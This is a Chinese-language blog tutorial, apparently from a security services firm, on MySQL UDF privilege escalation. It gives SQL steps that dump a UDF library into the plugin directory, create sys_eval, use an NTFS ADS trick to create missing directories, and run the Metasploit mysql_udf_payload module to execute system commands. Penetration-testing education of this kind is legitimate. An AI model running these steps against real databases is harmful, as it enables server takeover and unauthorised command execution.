vlambda博客
学习文章列表

渗透实战 | MySQL命令执行(UDF命令执行)


一、前言


当拿一台mysql数据库或者mysqlSQL注入时,会涉及到mysql的命令执行问题,这时候就需要UDF提权去实现


前提条件:

1) MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。

2) MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。


二、判断当前库是否可以提权


2.1查看  secure_file_priv  的值


secure_file_priv 是用来限制 load dumpfile、into  outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

指令:        

show global variables like 'secure%';


(1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权


如果 secure_file_priv NULL是不能写入导出文件和文件夹的。

渗透实战 | MySQL命令执行(UDF命令执行)


(2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权

如果 secure_file_priv没有具体的值,则可以写入导出文件。

 

(3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。

渗透实战 | MySQL命令执行(UDF命令执行)


secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。

渗透实战 | MySQL命令执行(UDF命令执行)


渗透实战 | MySQL命令执行(UDF命令执行)

2.2查看plugin的值


select Host,user,plugin from mysql.user where user=substring_index(user(),'@',1);

(1)当 plugin 的值为空时不可提权

(2)当 plugin 值为 mysql_native_password 时可通过账户连接提权


渗透实战 | MySQL命令执行(UDF命令执行)


2.3查看系统架构以及plugin目录


(1)show variables like '%compile%'; #查看主机版本及架构

(2)show variables like 'plugin%'; #查看 plugin 目录

MySQL大于5.1时,默认是没有 lib\plugin 目录的。

MSF中有windows系统使用的.dlllinux系统使用的.so文件,可以用DllToShellCode反编译文件拿到UDF的源码。

渗透实战 | MySQL命令执行(UDF命令执行)

渗透实战 | MySQL命令执行(UDF命令执行)

三、UDF提权步骤


创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。


3.1 举例:LINUX64位)UDF提权步骤


create table t_tmp(data longblob);

insert into t_tmp values("");

update t_tmp set data=concat('',0x7f(这里太长了,大家自己反编译)0000);

select data from t_tmp into dumpfile "/usr/local/mysql/lib/plugin/lib_mysqludf_sys.so";

create function sys_eval returns string soname 'lib_mysqludf_sys.so';   #创建函数sys_eval

 

执行完上面的语句就可以得到下图的结果

渗透实战 | MySQL命令执行(UDF命令执行)


最后就是命令执行了。

渗透实战 | MySQL命令执行(UDF命令执行)


3.2可以尝试利用下面的方法创建lib\plugin


版本范围:5.1.60、5.5.29(5.7、8.0不行)

利用NTFS ADS流来创建plugin文件夹的方法:

1)0select @@basedir; //查找mysql的目录

2)select 'It is dll'into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.1.60\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

3)select 'It is dll'into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.1.60\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录


举例1:版本5.1.60

虽然会报错,但是打开文件夹会发现确实新建了目录。 

渗透实战 | MySQL命令执行(UDF命令执行)


渗透实战 | MySQL命令执行(UDF命令执行)

 

渗透实战 | MySQL命令执行(UDF命令执行)


举例2:5.7、8.0不能新建:

渗透实战 | MySQL命令执行(UDF命令执行)


3.3一些常见执行问题


执行select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions      \\MySQL5.7.26\\lib\\plugin\\udf.dll"; 时有可能会出现以下错误,因为当MySQL大于5.1时,默认是没有 lib\plugin 目录的。而 into dumpfile在写入文件时也不能创建文件夹,所以也就报错了:Can't create/write to file

渗透实战 | MySQL命令执行(UDF命令执行)

  而在执行 create function sys_eval returns string soname 'udf.dll'; 命令时出现 1126 - Can't open shared library 'udf.dll'的错误。

要注意操作系统是x64还是x86

渗透实战 | MySQL命令执行(UDF命令执行)

渗透实战 | MySQL命令执行(UDF命令执行)


四、使用MSF进行UDF提权


 使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功)dll文件名为任意创建的名字。该dll文件中包含sys_exec()sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

渗透实战 | MySQL命令执行(UDF命令执行)


渗透实战 | MySQL命令执行(UDF命令执行)


select * from mysql.func where name = "sys_exec";

渗透实战 | MySQL命令执行(UDF命令执行)


手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。

create function sys_eval returns string soname "XJhSEGuE.dll";

select sys_eval("whoami");


 




天磊卫士|专注网络安全服务

官网:https://www.uguardsec.com

分支机构:深圳、海口、北京、青岛、汕尾

漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维

系统入网|上线安全评估|代码审计|应急响应|应急演练